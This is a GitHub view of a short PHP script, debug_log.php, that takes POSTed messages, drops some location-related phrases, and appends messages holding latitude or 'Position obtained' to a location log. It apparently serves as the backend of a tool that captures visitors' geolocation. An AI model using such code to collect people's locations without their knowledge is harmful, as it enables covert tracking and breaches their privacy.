-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathdebug_log.php
More file actions
39 lines (34 loc) · 1.14 KB
/
Copy pathdebug_log.php
File metadata and controls
39 lines (34 loc) · 1.14 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
if(isset($_POST['message'])) {
$message = $_POST['message'];
$date = date('Y-m-d H:i:s');
$filtered_messages = [
"Location data sent",
"getLocation called",
"Geolocation error",
"Location permission denied"
];
$should_filter = false;
foreach($filtered_messages as $filtered_phrase) {
if(strpos($message, $filtered_phrase) !== false) {
$should_filter = true;
break;
}
}
if(!$should_filter && (
strpos($message, 'Lat:') !== false ||
strpos($message, 'Latitude:') !== false ||
strpos($message, 'Position obtained') !== false
)) {
$location_log = fopen("location_debug.log", "a");
fwrite($location_log, "[$date] $message\n");
fclose($location_log);
file_put_contents("LocationLog.log", "Location data captured\n", FILE_APPEND);
}
header('Content-Type: application/json');
echo json_encode(['status' => 'success']);
} else {
header('Content-Type: application/json');
echo json_encode(['status' => 'error', 'message' => 'No message provided']);
}
?>